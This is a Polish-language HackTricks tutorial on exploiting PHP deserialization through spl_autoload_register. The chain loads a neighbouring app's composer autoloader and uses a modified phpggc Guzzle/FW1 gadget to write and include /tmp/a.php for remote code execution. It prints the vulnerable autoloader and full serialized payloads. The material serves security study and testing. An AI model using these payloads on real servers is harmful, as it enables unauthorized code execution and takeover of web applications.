# PHP - Deserializacja + Autoload Klasy {{#include ../../banners/hacktricks-training.md}} Najpierw powinieneś sprawdzić, czym są [**Autoloading Classes**](https://www.php.net/manual/en/language.oop5.autoload.php). ## PHP deserializacja + spl_autoload_register + LFI/Gadget Jesteśmy w sytuacji, w której znaleźliśmy **deserializację PHP w aplikacji webowej** bez **żadnej** biblioteki podatnej na gadżety w **`phpggc`**. Jednak w tym samym kontenerze była **inna aplikacja webowa z kompozytorem z podatnymi bibliotekami**. Dlatego celem było **załadowanie loadera kompozytora z innej aplikacji webowej** i wykorzystanie go do **załadowania gadżetu, który wykorzysta tę bibliotekę z gadżetem** z aplikacji webowej podatnej na deserializację. Kroki: - Znalazłeś **deserializację** i **nie ma żadnego gadżetu** w kodzie bieżącej aplikacji - Możesz wykorzystać funkcję **`spl_autoload_register`** jak poniżej, aby **załadować dowolny lokalny plik z rozszerzeniem `.php`** - W tym celu używasz deserializacji, w której nazwa klasy będzie w **`$name`**. **Nie możesz używać "/" ani "."** w nazwie klasy w zserializowanym obiekcie, ale **kod** **zamienia** **podkreślenia** ("\_") **na ukośniki** ("/"). Tak więc nazwa klasy taka jak `tmp_passwd` zostanie przekształcona w `/tmp/passwd.php`, a kod spróbuje ją załadować.\ Przykład **gadżetu** to: **`O:10:"tmp_passwd":0:{}`** ```php spl_autoload_register(function ($name) { if (preg_match('/Controller$/', $name)) { $name = "controllers/${name}"; } elseif (preg_match('/Model$/', $name)) { $name = "models/${name}"; } elseif (preg_match('/_/', $name)) { $name = preg_replace('/_/', '/', $name); } $filename = "/${name}.php"; if (file_exists($filename)) { require $filename; } elseif (file_exists(__DIR__ . $filename)) { require __DIR__ . $filename; } }); ``` > [!TIP] > Jeśli masz **upload plików** i możesz przesłać plik z **rozszerzeniem `.php`**, możesz **bezpośrednio nadużyć tej funkcjonalności** i uzyskać już RCE. W moim przypadku nie miałem nic takiego, ale w **tym samym kontenerze** była inna strona internetowa z **biblioteką podatną na gadżet `phpggc`**. - Aby załadować tę inną bibliotekę, najpierw musisz **załadować loader composera tej innej aplikacji webowej** (ponieważ loader bieżącej aplikacji nie uzyska dostępu do bibliotek innej). **Znając ścieżkę aplikacji**, możesz to osiągnąć bardzo łatwo za pomocą: **`O:28:"www_frontend_vendor_autoload":0:{}`** (W moim przypadku loader composera znajdował się w `/www/frontend/vendor/autoload.php`) - Teraz możesz **załadować** loader **innej aplikacji**, więc nadszedł czas, aby **`wygenerować ładunek phpgcc`** do użycia. W moim przypadku użyłem **`Guzzle/FW1`**, co pozwoliło mi **zapisać dowolny plik w systemie plików**. - UWAGA: **Wygenerowany gadżet nie działał**, aby działał, **zmodyfikowałem** ten ładunek **`chain.php`** z phpggc i ustawiłem **wszystkie atrybuty** klas **z prywatnych na publiczne**. W przeciwnym razie, po deserializacji ciągu, atrybuty utworzonych obiektów nie miały żadnych wartości. - Teraz mamy sposób na **załadowanie loadera innej aplikacji** i mamy **ładunek phpgc, który działa**, ale musimy **zrobić to w TEJ SAMEJ ŻĄDANIE, aby loader został załadowany, gdy gadżet jest używany**. W tym celu wysłałem zserializowaną tablicę z oboma obiektami, jak: - Możesz zobaczyć **najpierw ładowanie loadera, a potem ładunek**. ```php a:2:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}} ``` - Teraz możemy **utworzyć i zapisać plik**, jednak użytkownik **nie mógł zapisać w żadnym folderze wewnątrz serwera webowego**. Jak widać w ładunku, PHP wywołuje **`system`** z pewnym **base64**, który jest tworzony w **`/tmp/a.php`**. Następnie możemy **ponownie wykorzystać pierwszy typ ładunku**, którego użyliśmy jako LFI, aby załadować loader composera innej aplikacji webowej **do załadowania wygenerowanego pliku `/tmp/a.php`**. Po prostu dodaj go do gadżetu deserializacji: ```php a:3:{s:5:"Extra";O:28:"www_frontend_vendor_autoload":0:{}s:6:"Extra2";O:31:"GuzzleHttp\Cookie\FileCookieJar":4:{s:7:"cookies";a:1:{i:0;O:27:"GuzzleHttp\Cookie\SetCookie":1:{s:4:"data";a:3:{s:7:"Expires";i:1;s:7:"Discard";b:0;s:5:"Value";s:56:"";}}}s:10:"strictMode";N;s:8:"filename";s:10:"/tmp/a.php";s:19:"storeSessionCookies";b:1;}s:6:"Extra3";O:5:"tmp_a":0:{}} ``` **Podsumowanie ładunku** - **Załaduj autoload composera** innej aplikacji webowej w tym samym kontenerze - **Załaduj gadżet phpggc** aby wykorzystać bibliotekę z innej aplikacji webowej (początkowa aplikacja webowa podatna na deserializację nie miała żadnego gadżetu w swoich bibliotekach) - Gadżet **utworzy plik z ładunkiem PHP** w /tmp/a.php z złośliwymi poleceniami (użytkownik aplikacji webowej nie może pisać w żadnym folderze żadnej aplikacji webowej) - Ostatnia część naszego ładunku użyje **załaduj wygenerowany plik php**, który wykona polecenia Musiałem **wywołać tę deserializację dwa razy**. W moich testach, za pierwszym razem plik `/tmp/a.php` został utworzony, ale nie załadowany, a za drugim razem został poprawnie załadowany. {{#include ../../banners/hacktricks-training.md}}